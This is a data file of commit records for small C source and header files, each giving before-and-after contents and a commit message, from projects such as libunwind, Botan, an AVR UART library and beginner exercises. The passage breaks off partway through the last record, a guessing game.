{"commit":"1798b679e24088f17763729158cfd103e0270a06","old_file":"lib\/libgnumalloc\/cfree.c","new_file":"lib\/libgnumalloc\/cfree.c","old_contents":"void\ncfree(void *foo)\n{\n\tfree(foo);\n}\n","new_contents":"\/*\n * cfree.c\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\nvoid\ncfree(void *foo)\n{\n\tfree(foo);\n}\n","subject":"Add __FBSDID()s to internal libgnumalloc()","message":"Add __FBSDID()s to internal libgnumalloc()\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"274289167ac12e6213fa502c2c1e956f4bbd1d61","old_file":"src\/x86\/is_fpreg-x86.c","new_file":"src\/x86\/is_fpreg-x86.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (c) 2004 Hewlett-Packard Development Company, L.P.\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"tdep.h\"\n\nPROTECTED int\nunw_is_fpreg (int regnum)\n{\n  return ((regnum >= UNW_X86_ST0 && regnum <= UNW_X86_ST7)\n\t  || (regnum >= UNW_X86_XMM0_lo && regnum <= UNW_X86_XMM7_hi));\n}\n","subject":"Declare as returning an \"int\" and fix typo.","message":"(unw_is_fpreg): Declare as returning an \"int\" and fix typo.\n\n(Logical change 1.158)\n","lang":"C","license":"mit","repos":"cms-externals\/libunwind,mpercy\/libunwind,tronical\/libunwind,atanasyan\/libunwind-android,android-ia\/platform_external_libunwind,mpercy\/libunwind,geekboxzone\/mmallow_external_libunwind,maltek\/platform_external_libunwind,wdv4758h\/libunwind,CyanogenMod\/android_external_libunwind,dropbox\/libunwind,evaautomation\/libunwind,libunwind\/libunwind,martyone\/libunwind,Chilledheart\/libunwind,android-ia\/platform_external_libunwind,zliu2014\/libunwind-tilegx,fdoray\/libunwind,frida\/libunwind,vegard\/libunwind,rogwfu\/libunwind,Keno\/libunwind,zeldin\/platform_external_libunwind,fillexen\/libunwind,frida\/libunwind,atanasyan\/libunwind-android,zeldin\/platform_external_libunwind,djwatson\/libunwind,adsharma\/libunwind,rantala\/libunwind,yuyichao\/libunwind,ehsan\/libunwind,jrmuizel\/libunwind,zliu2014\/libunwind-tilegx,DroidSim\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,Keno\/libunwind,adsharma\/libunwind,lat\/libunwind,tony\/libunwind,fdoray\/libunwind,rntz\/libunwind,geekboxzone\/lollipop_external_libunwind,vtjnash\/libunwind,rantala\/libunwind,maltek\/platform_external_libunwind,wdv4758h\/libunwind,wdv4758h\/libunwind,project-zerus\/libunwind,androidarmv6\/android_external_libunwind,evaautomation\/libunwind,bo-on-software\/libunwind,atanasyan\/libunwind-android,jrmuizel\/libunwind,libunwind\/libunwind,androidarmv6\/android_external_libunwind,pathscale\/libunwind,geekboxzone\/mmallow_external_libunwind,cloudius-systems\/libunwind,unkadoug\/libunwind,joyent\/libunwind,CyanogenMod\/android_external_libunwind,Keno\/libunwind,dropbox\/libunwind,dreal-deps\/libunwind,dagar\/libunwind,yuyichao\/libunwind,pathscale\/libunwind,cms-externals\/libunwind,SyndicateRogue\/libunwind,dropbox\/libunwind,igprof\/libunwind,unkadoug\/libunwind,lat\/libunwind,rogwfu\/libunwind,0xlab\/0xdroid-external_libunwind,rntz\/libunwind,joyent\/libunwind,project-zerus\/libunwind,rantala\/libunwind,tkelman\/libunwind,olibc\/libunwind,mpercy\/libunwind,joyent\/libunwind,olibc\/libunwind,tkelman\/libunwind,bo-on-software\/libunwind,Chilledheart\/libunwind,fillexen\/libunwind,vtjnash\/libunwind,ehsan\/libunwind,DroidSim\/platform_external_libunwind,cloudius-systems\/libunwind,tony\/libunwind,krytarowski\/libunwind,dagar\/libunwind,Chilledheart\/libunwind,androidarmv6\/android_external_libunwind,atanasyan\/libunwind,maltek\/platform_external_libunwind,lat\/libunwind,atanasyan\/libunwind,dreal-deps\/libunwind,libunwind\/libunwind,martyone\/libunwind,dreal-deps\/libunwind,unkadoug\/libunwind,tony\/libunwind,rogwfu\/libunwind,dagar\/libunwind,bo-on-software\/libunwind,tkelman\/libunwind,olibc\/libunwind,pathscale\/libunwind,cloudius-systems\/libunwind,rntz\/libunwind,zeldin\/platform_external_libunwind,zliu2014\/libunwind-tilegx,tronical\/libunwind,DroidSim\/platform_external_libunwind,SyndicateRogue\/libunwind,fdoray\/libunwind,yuyichao\/libunwind,0xlab\/0xdroid-external_libunwind,cms-externals\/libunwind,djwatson\/libunwind,krytarowski\/libunwind,geekboxzone\/mmallow_external_libunwind,atanasyan\/libunwind,vegard\/libunwind,tronical\/libunwind,fillexen\/libunwind,evaautomation\/libunwind,CyanogenMod\/android_external_libunwind,jrmuizel\/libunwind,krytarowski\/libunwind,project-zerus\/libunwind,adsharma\/libunwind,ehsan\/libunwind,vegard\/libunwind,igprof\/libunwind,igprof\/libunwind,frida\/libunwind,android-ia\/platform_external_libunwind,djwatson\/libunwind,0xlab\/0xdroid-external_libunwind,vtjnash\/libunwind,SyndicateRogue\/libunwind,martyone\/libunwind,geekboxzone\/lollipop_external_libunwind"}
{"commit":"06e77b29734b000098ec29bf642a15bb523e180e","old_file":"psimpl-c.h","new_file":"psimpl-c.h","old_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/*\n    psimpl-c\n    Copyright (c) 2013 Jamie Bullock <jamie@jamiebullock.com>\n \n    Based on psimpl\n    Copyright (c) 2010-2011 Elmar de Koning <edekoning@gmail.com>\n*\/\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ndouble *psimpl_simplify_douglas_peucker(\n                                        uint8_t dimensions,\n                                        double tolerance,\n                                        double *original_points,\n                                        double *simplified_points\n                                        );\n\n#ifdef __cplusplus\n}\n#endif","new_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/*\n    psimpl-c\n    Copyright (c) 2013 Jamie Bullock <jamie@jamiebullock.com>\n \n    Based on psimpl\n    Copyright (c) 2010-2011 Elmar de Koning <edekoning@gmail.com>\n*\/\n\n#ifndef PSIMPL_C\n\n#include <stdint.h>\n\ntypedef enum psimpl_LineDimension_\n{\n    psimpl_LineDimension_1D = 1,\n    psimpl_LineDimension_2D,\n    psimpl_LineDimension_3D\n}\npsimpl_LineDimension;\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ndouble *psimpl_simplify_douglas_peucker(\n                                        psimpl_LineDimension dimensions,\n                                        uint64_t points,\n                                        double tolerance,\n                                        double *original_points,\n                                        double *simplified_points\n                                        );\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/ #ifdef PSIMPL_C\n","subject":"Update API to only support 1, 2 or 3 dimensional lines","message":"Update API to only support 1, 2 or 3 dimensional lines\n","lang":"C","license":"mpl-2.0","repos":"jamiebullock\/psimpl-c,jamiebullock\/psimpl-c,jamiebullock\/psimpl-c,jamiebullock\/psimpl-c"}
{"commit":"a59afbf3fb2b0392f19f5be8f4fac05e962fd7c4","old_file":"tests\/polylog-bug.c","new_file":"tests\/polylog-bug.c","old_contents":"","new_contents":"\/* gmp3.c -- Test calc of Dilogarithm. *\/\n\n\/* Last change: 27-Mar-2012.  Ken Roberts  *\/\n\n\/* Calc Li_2(u+iv)\n * then Li_2(u+iv)\n * again.  Expect consistent results.\n * Looking for possible bug re caching\n * of info within cpx_polylog logic.\n *\/\n\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <db_185.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <limits.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <gmp.h>\n#include \"anant\/src\/mp-complex.h\"\n#include \"anant\/anant.h\"\n\nulong gprec;\nulong aprec;\n\nint main (\n  int    argc,\n  char * argv[])\n{\n\n  double u, v;\n  cpx_t s, z, pl1b, pl1e;\n  int  res;\n\n  gprec = 1000;\n  mpf_set_default_prec (gprec);\n  aprec = 50;\n\n  cpx_init (s);\n  cpx_init (z);\n\n  cpx_set_ui (s, 2, 0);\n\n  u = 0.000005;\n  v = 1.377128;\n\n  cpx_set_d (z, u, v);\n\n  printf (\"\\n\");\n  gmp_printf (\"s = %10Ff + i %10Ff\\n\",\n              s[0].re, s[0].im);\n  gmp_printf (\"z = %10Ff + i %10Ff\\n\",\n              z[0].re, z[0].im);\n\n  cpx_init (pl1b);\n  cpx_init (pl1e);\n\n  res = cpx_polylog (pl1b, s, z, aprec);\n  gmp_printf (\"Rtn %d, Li_2(z) = %10Ff + i %10Ff\\n\",\n              res, pl1b[0].re, pl1b[0].im);\n\n  res = cpx_polylog (pl1e, s, z, aprec);\n  gmp_printf (\"Rtn %d, Li_2(z) = %10Ff + i %10Ff\\n\",\n              res, pl1e[0].re, pl1e[0].im);\n\n  printf (\"\\n\");\n  exit (0);\n};\n","subject":"Add a polylog bug report","message":"Add a polylog bug report\n","lang":"C","license":"lgpl-2.1","repos":"linas\/anant"}
{"commit":"5e35dc73b64ddcb393f291139a394007f6ebb166","old_file":"include\/ATM.h","new_file":"include\/ATM.h","old_contents":"#pragma once\r\n\r\n\/* Customer Structure *\/\r\ntypedef struct customer {\r\n\tchar name[25];\t\t\t\/\/ Customer's name\r\n\tlong int accnum;\t\t\/\/ Customer's Account Number\r\n\tlong int balance;\t\t\/\/ Customer's Balance\r\n\tlong long int ccn;\t\t\/\/ Customer's CCN\r\n\tshort int pin;\t\t\t\/\/ Customer's PIN\r\n} customer;\r\n\r\n\r\n\/* Current Logged In Customer *\/\r\nlong int currentUserLoggedIn = 0L;\r\n\r\nbool Login_Menu();\r\nint CCN_VALIDATE(long long CCN);\r\nint CCNLength(long long cardNumber);\r\nbool CCNCheckLuhn(long long cardNumber, int digits);\r\nint getDigit(long long cardNumber, int location);\r\nvoid Show_Stats(long currentUserLoggedIn);\r\nbool CCN_OwnerExists(long long CCN);\r\nbool PIN_Validate(long long CCN, short int PIN);\r\nvoid LoginUser(long long CCN, short PIN);\r\nstring GetAccNum(long long CCN);\r\nstring CCN_GetOwner(long long CCN);\r\nvoid ATMMenu(long accnum);\r\nvoid cash_withdraw(long accnum);\r\nvoid pay_utilitybill(long accnum);\r\nvoid credit_transfer(long accnum);\r\nvoid acc_update(long accnum);\r\nvoid add_funds(long accnum);\r\n\r\n\r\ncustomer customers[5];\r\n\r\nchar char* welcome_message = \"********************************\\\r\n\t\t\t\t\t\t*-->Welcome to Bahria Bank!<---*\\\r\n\t\t\t\t\t\t********************************\\n\";\r\n\r\n","new_contents":"#pragma once\r\n\r\n\/* Customer Structure *\/\r\ntypedef struct customer {\r\n\tchar name[25];\t\t\t\/\/ Customer's name\r\n\tlong int accnum;\t\t\/\/ Customer's Account Number\r\n\tlong int balance;\t\t\/\/ Customer's Balance\r\n\tlong long int ccn;\t\t\/\/ Customer's CCN\r\n\tshort int pin;\t\t\t\/\/ Customer's PIN\r\n} customer;\r\n\r\n\r\n\/* Current Logged In Customer *\/\r\nlong int currentUserLoggedIn = 0L;\r\n\r\nbool Login_Menu();\r\nint CCN_VALIDATE(long long CCN);\r\nint CCNLength(long long cardNumber);\r\nbool CCNCheckLuhn(long long cardNumber, int digits);\r\nint getDigit(long long cardNumber, int location);\r\nvoid Show_Stats(long currentUserLoggedIn);\r\nbool CCN_OwnerExists(long long CCN);\r\nbool PIN_Validate(long long CCN, short int PIN);\r\nvoid LoginUser(long long CCN, short PIN);\r\nstring GetAccNum(long long CCN);\r\nstring CCN_GetOwner(long long CCN);\r\nvoid ATMMenu(long accnum);\r\nvoid cash_withdraw(long accnum);\r\nvoid pay_utilitybill(long accnum);\r\nvoid credit_transfer(long accnum);\r\nvoid acc_update(long accnum);\r\nvoid add_funds(long accnum);\r\n\r\n\r\ncustomer customers[5];\r\n\r\nconst char* welcome_message = \"********************************\\\r\n\t\t\t\t\t\t*-->Welcome to Bahria Bank!<---*\\\r\n\t\t\t\t\t\t********************************\\n\";\r\n\r\n","subject":"Fix declaration of welcome message!","message":"Fix declaration of welcome message!\n","lang":"C","license":"mit","repos":"saifali96\/ATM-Simulator,saifali96\/ATM-Simulator"}
{"commit":"3038605c0256d43291a0f1ac1cebd54d5bcb4876","old_file":"ch1\/uniqueChars.c","new_file":"ch1\/uniqueChars.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main(int argc, char** argv) {\n    if (argc < 2) {\n        return 1; \/\/ No word given - error\n    }\n\n    char* word = argv[1];\n    int index = 0;\n    short seen[256] = {0};\n    char c;\n\n    while (c = word[index]) {\n        printf(\"%c\\n\", c);\n        if (seen[c]) {\n            printf(\"Not unique - saw two of '%c'.\\n\", c);\n            return 0;\n        }\n        seen[c] = 1;\n        index += 1;\n    }\n\n    printf(\"Word has no duplicate chars.\\n\");\n    return 0;\n}\n","subject":"Determine if a string has all unique chars","message":"Determine if a string has all unique chars\n","lang":"C","license":"mit","repos":"WalrusCow\/ctci"}
{"commit":"d7bcc60432296b0b573194926f8a7d4164517b02","old_file":"imageprocessingstrategy.h","new_file":"imageprocessingstrategy.h","old_contents":"#ifndef IMAGEPROCESSINGSTRATEGY_H\n#define IMAGEPROCESSINGSTRATEGY_H\n\n#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"opencv2\/ocl\/ocl.hpp\"\n#include \"constants.h\"\n#include \"qdebug.h\"\n\nusing namespace std;\nusing namespace cv;\n\nclass ImageProcessingStrategy\n{\npublic:\n    ImageProcessingStrategy();\n    Mat applyBlur(Mat src);\n    Mat applyLaplacian(Mat src);\n    Mat applyEdge(Mat src);\n    Mat applySubs(Mat raw_src, Mat ref_src);\n    Mat applyContourns(Mat src);\n    int processBlur();\n    int processLaplacian();\n    int processEdge();\n    int processSubs();\n    int processContourns();\n};\n\n#endif \/\/ IMAGEPROCESSINGSTRATEGY_H\n","new_contents":"#ifndef IMAGEPROCESSINGSTRATEGY_H\n#define IMAGEPROCESSINGSTRATEGY_H\n\n#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"opencv2\/gpu\/gpu.hpp\"\n#include \"constants.h\"\n#include \"qdebug.h\"\n\nusing namespace std;\nusing namespace cv;\n\nclass ImageProcessingStrategy\n{\npublic:\n    ImageProcessingStrategy();\n    Mat applyBlur(Mat src);\n    Mat applyLaplacian(Mat src);\n    Mat applyEdge(Mat src);\n    Mat applySubs(Mat raw_src, Mat ref_src);\n    Mat applyContourns(Mat src);\n    int processBlur();\n    int processLaplacian();\n    int processEdge();\n    int processSubs();\n    int processContourns();\n};\n\n#endif \/\/ IMAGEPROCESSINGSTRATEGY_H\n","subject":"Fix cuda incomplete type issue","message":"Fix cuda incomplete type issue\n","lang":"C","license":"mit","repos":"emmamm05\/parkeye,emmamm05\/parkeye,emmamm05\/parkeye"}
{"commit":"2ddb08c1f7f69a3d7da1820d40fd32910a37c617","old_file":"include\/timers.h","new_file":"include\/timers.h","old_contents":"\/*************************************************\n* Timestamp Functions Header File                *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_TIMERS_H__\n#define BOTAN_TIMERS_H__\n\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* Timer Interface                                *\n*************************************************\/\nclass Timer : public EntropySource\n   {\n   public:\n      virtual u64bit clock() const;\n      u32bit slow_poll(byte[], u32bit);\n\n      virtual ~Timer() {}\n   protected:\n      static u64bit combine_timers(u32bit, u32bit, u32bit);\n   };\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* Timestamp Functions Header File                *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_TIMERS_H__\n#define BOTAN_TIMERS_H__\n\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* Timer Interface                                *\n*************************************************\/\nclass BOTAN_DLL Timer : public EntropySource\n   {\n   public:\n      virtual u64bit clock() const;\n      u32bit slow_poll(byte[], u32bit);\n\n      virtual ~Timer() {}\n   protected:\n      static u64bit combine_timers(u32bit, u32bit, u32bit);\n   };\n\n}\n\n#endif\n","subject":"Add BOTAN_DLL to Timer class declaration","message":"Add BOTAN_DLL to Timer class declaration\n","lang":"C","license":"bsd-2-clause","repos":"Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"afca1b7a6a332d667bf9f92a0402a51af1a51ff6","old_file":"test\/tests.c","new_file":"test\/tests.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include \"..\/src\/rootdb.h\"\n\nint main(void)\n{\n  MDB_env *env;\n  MDB_dbi dbi;\n  int status;\n\n  status = rootdb_open(&env, &dbi, \".\/testingdb\");\n  assert(status == 0);\n\n  char key_char[] = \"hello\";\n  char value_char[] = \"world\";\n  MDB_val key;\n  MDB_val value;\n\n  key.mv_size = sizeof(key_char);\n  key.mv_data = key_char;\n  value.mv_size = sizeof(value_char);\n  value.mv_data = value_char;\n\n  printf(\"key: %p %.*s, data: %p %.*s\\n\",\n\t key.mv_data,  (int) key.mv_size,  (char *) key.mv_data,\n\t value.mv_data, (int) value.mv_size, (char *) value.mv_data);\n\n  status = rootdb_put(&env, dbi, &key, &value);\n  assert(status == 0);\n\n  MDB_val rvalue;\n\n  status = rootdb_get(&env, dbi, &key, &rvalue);\n  assert(status == 0);\n\n  printf(\"key: %p %.*s, data: %p %.*s\\n\",\n\t key.mv_data,  (int) key.mv_size,  (char *) key.mv_data,\n\t rvalue.mv_data, (int) rvalue.mv_size, (char *) rvalue.mv_data);\n\n  rootdb_close(&env, dbi);\n\n  return 0;\n\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n#include \"..\/src\/rootdb.h\"\n\nint main(void)\n{\n  MDB_env *env;\n  MDB_dbi dbi;\n  int status;\n\n  status = rootdb_open(&env, &dbi, \".\/testingdb\");\n  assert(status == 0);\n\n  char key_char[] = \"hello\";\n  char value_char[] = \"world\";\n  MDB_val key;\n  MDB_val value;\n\n  key.mv_size = sizeof(key_char);\n  key.mv_data = key_char;\n  value.mv_size = sizeof(value_char);\n  value.mv_data = value_char;\n\n  status = rootdb_put(&env, dbi, &key, &value);\n  assert(status == 0);\n\n  MDB_val rvalue;\n\n  status = rootdb_get(&env, dbi, &key, &rvalue);\n  assert(status == 0);\n  assert(strcmp(rvalue.mv_data, value.mv_data) == 0);\n\n  rootdb_close(&env, dbi);\n\n  return 0;\n\n}\n","subject":"Add assertion for value in get\/put test","message":"Add assertion for value in get\/put test\n","lang":"C","license":"mit","repos":"braydonf\/rootdb,braydonf\/rootdb,braydonf\/rootdb"}
{"commit":"509a2f29b962ea555660743a485f97b1dacbaf1d","old_file":"tmcd\/decls.h","new_file":"tmcd\/decls.h","old_contents":"\/*\n * Insert Copyright Here.\n *\/\n\n#ifdef LBS\n#define\tMASTERNODE\t\"206.163.153.25\"\n#else\n#define\tMASTERNODE\t\"boss.emulab.net\"\n#endif\n\n#define TBSERVER_PORT\t7777\n#define MYBUFSIZE\t1024\n","new_contents":"\/*\n * Insert Copyright Here.\n *\/\n\n#ifdef LBS\n#define\tMASTERNODE\t\"192.168.1.25\"\n#else\n#define\tMASTERNODE\t\"boss.emulab.net\"\n#endif\n\n#define TBSERVER_PORT\t7777\n#define MYBUFSIZE\t1024\n","subject":"Change the IP of my home machine for testing.","message":"Change the IP of my home machine for testing.\n","lang":"C","license":"agpl-3.0","repos":"nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome"}
{"commit":"521c91c3b5ec34462ae0202d61ab029a86d5bca8","old_file":"lib\/uart.h","new_file":"lib\/uart.h","old_contents":"\/**\n * This is used to setup the UART device on an AVR unit.\n *\/\n\n#pragma once\n\n#include <avr\/io.h>\n\n#ifndef BAUD\n#  define BAUD 9600\n#  warning BAUD rate not set.  Setting BAUD rate to 9600.\n#endif \/\/ BAUD\n\n#define BAUDRATE ((F_CPU)\/(BAUD*16UL)-1)\n\nstatic inline void uart_enable(void) {\n  UBRR0H = BAUDRATE >> 8;\n  UBRR0L = BAUDRATE;\n\n  \/\/ Set RX\/TN enabled\n  UCSR0B |= _BV(TXEN0) | _BV(RXEN0);\n\n  \/\/ Set asynchronous USART\n  \/\/ Set frame format: 8-bit data, 2-stop bit\n  UCSR0C |= _BV(USBS0) | _BV(UCSZ01) | _BV(UCSZ00);\n}\n\nstatic inline void uart_transmit(unsigned char data) {\n  while (!(UCSR0A & _BV(UDRE0)));\n  UDR0 = data;\n}\n\nstatic inline unsigned char uart_receive(void) {\n  while (!(UCSR0A & _BV(RXC0)));\n  return UDR0;\n}\n","new_contents":"\/**\n * This is used to setup the UART device on an AVR unit.\n *\/\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <avr\/io.h>\n\n#ifndef BAUD\n#  define BAUD 9600\n#  warning BAUD rate not set.  Setting BAUD rate to 9600.\n#endif \/\/ BAUD\n\n#define BAUDRATE ((F_CPU)\/(BAUD*16UL)-1)\n\n\/**\n * @brief Enables the UART device for 8-bit data at\n * the specified {@see BAUDRATE}.\n *\/\nstatic inline void uart_enable(void) {\n  UBRR0H = BAUDRATE >> 8;\n  UBRR0L = BAUDRATE;\n\n  \/\/ Set RX\/TN enabled\n  UCSR0B |= _BV(TXEN0) | _BV(RXEN0);\n\n  \/\/ Set asynchronous USART\n  \/\/ Set frame format: 8-bit data, 2-stop bit\n  UCSR0C |= _BV(USBS0) | _BV(UCSZ01) | _BV(UCSZ00);\n}\n\n\/**\n * @brief Transmits a character through the UART device.\n * @param data The data to be sent.\n *\/\nstatic inline void uart_transmit(unsigned char data) {\n  while (!(UCSR0A & _BV(UDRE0)));\n  UDR0 = data;\n}\n\n\/**\n * @brief Receives a character from the UART device.\n * @return Received character from the UART.\n *\/\nstatic inline unsigned char uart_receive(void) {\n  while (!(UCSR0A & _BV(RXC0)));\n  return UDR0;\n}\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n","subject":"Add some comments, clean up the code, and add extern \"C\".","message":"Add some comments, clean up the code, and add extern \"C\".\n","lang":"C","license":"mpl-2.0","repos":"grimwm\/avr,grimwm\/avr,grimwm\/avr,grimwm\/avr"}
{"commit":"584110ed44810e40f029e985612acdb421d504b3","old_file":"LYPopView\/Classes\/PopView.h","new_file":"LYPopView\/Classes\/PopView.h","old_contents":"\/\/\n\/\/  PopView.h\n\/\/  LYPOPVIEW\n\/\/\n\/\/  CREATED BY LUO YU ON 19\/12\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#ifndef PopView_h\n#define PopView_h\n\n#import <LYPopView\/LYPopView.h>\n#import <LYPopView\/LYPopMessage.h>\n#import <LYPopView\/LYPopTable.h>\n#import <LYPopView\/LYPopActionView.h>\n\n#endif \/* PopView_h *\/\n","new_contents":"\/\/\n\/\/  PopView.h\n\/\/  LYPOPVIEW\n\/\/\n\/\/  CREATED BY LUO YU ON 19\/12\/2016.\n\/\/  COPYRIGHT © 2016 LUO YU. ALL RIGHTS RESERVED.\n\/\/\n\n#ifndef PopView_h\n#define PopView_h\n\n#import <LYPopView\/LYPopView.h>\n#import <LYPopView\/LYPopMessage.h>\n#import <LYPopView\/LYPopTable.h>\n#import <LYPopView\/LYPopDate.h>\n#import <LYPopView\/LYPopActionView.h>\n\n#endif \/* PopView_h *\/\n","subject":"Add : date picker pop view importer","message":"Add : date picker pop view importer\n","lang":"C","license":"mit","repos":"blodely\/LYPopView,blodely\/LYPopView"}
{"commit":"41e95da32afb7457e28427975e4fc07ca218ddc1","old_file":"src\/laco.h","new_file":"src\/laco.h","old_contents":"#ifndef __LACO_H\n#define __LACO_H\n\nstruct lua_State;\n\n\/* State of laco REPL *\/\nstruct LacoState {\n  struct lua_State* L;\n  const char* version;\n\n  int argc;\n  const char** argv;\n\n  int status;\n};\n\n\/**\n * Initilazation of laco's state\n *\n * param          pointer to LacoState\n * param          argument count (argc)\n * param          arguments      (argv)\n *\/\nvoid laco_initLacoState(struct LacoState*, int, const char**);\n\n\/**\n * Destroys the internal variable, but doesn't try to free the LacoState\n * pointer itself.\n *\n * param          pointer to LacoState\n *\n * return 1 if pointer isn't NULL\n *\/\nint laco_destroyLacoState(struct LacoState*);\n\n#endif \/* __LACO_H *\/\n","new_contents":"#ifndef __LACO_H\n#define __LACO_H\n\nstruct lua_State;\n\n\/* State of laco REPL *\/\nstruct LacoState {\n  struct lua_State* L;\n  const char* version;\n\n  int argc;\n  const char** argv;\n\n  int status;\n};\n\ntypedef struct LacoState LacoState;\n\n\/**\n * Initilazation of laco's state\n *\n * param          pointer to LacoState\n * param          argument count (argc)\n * param          arguments      (argv)\n *\/\nvoid laco_initLacoState(struct LacoState*, int, const char**);\n\n\/**\n * Destroys the internal variable, but doesn't try to free the LacoState\n * pointer itself.\n *\n * param          pointer to LacoState\n *\n * return 1 if pointer isn't NULL\n *\/\nint laco_destroyLacoState(struct LacoState*);\n\n#endif \/* __LACO_H *\/\n","subject":"Add typedef of LacoState in header","message":"Add typedef of LacoState in header\n\nThis is so the code base isn't littered with `typedef struct LacoState\nLacoState`.\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"7fc441ff876199bae81d250f10f931138f9be1bf","old_file":"7segments.c","new_file":"7segments.c","old_contents":"main(int u,char**a){for(;u<129;u*=8)for(char*c=a[1],y;*c;)printf(\"%c%c%c%c\",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32,*c?32:10);}","new_contents":"main(int u,char**a){for(char*c,y;y=u;u*=8)for(c=a[1];*c;)printf(\"%c%c%c%c\",(y=\"$ֶ<&\"[*c++-48])&u\/2?33:32,y&u?95:32,y&u\/4?33:32,*c?32:10);}","subject":"Save one more byte by casting loop counter u to a char","message":"Save one more byte by casting loop counter u to a char\n","lang":"C","license":"mit","repos":"McZonk\/7segements,McZonk\/7segements"}
{"commit":"176b88ed92daa22bd561e61a53f5a7a4866ca81e","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\\n\", chute);\n\n  if(chute == numerosecreto) {\n    printf(\"Parabéns! Você acertou!\\n\");\n    printf(\"Jogue de novo, você é um bom jogador!\\n\");\n  }\n  else {\n    if(chute > numerosecreto) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    }\n\n    if(chute < numerosecreto) {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n    printf(\"Você errou!\\n\");\n    printf(\"Mas não desanime, tente de novo!\\n\");\n  }\n\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  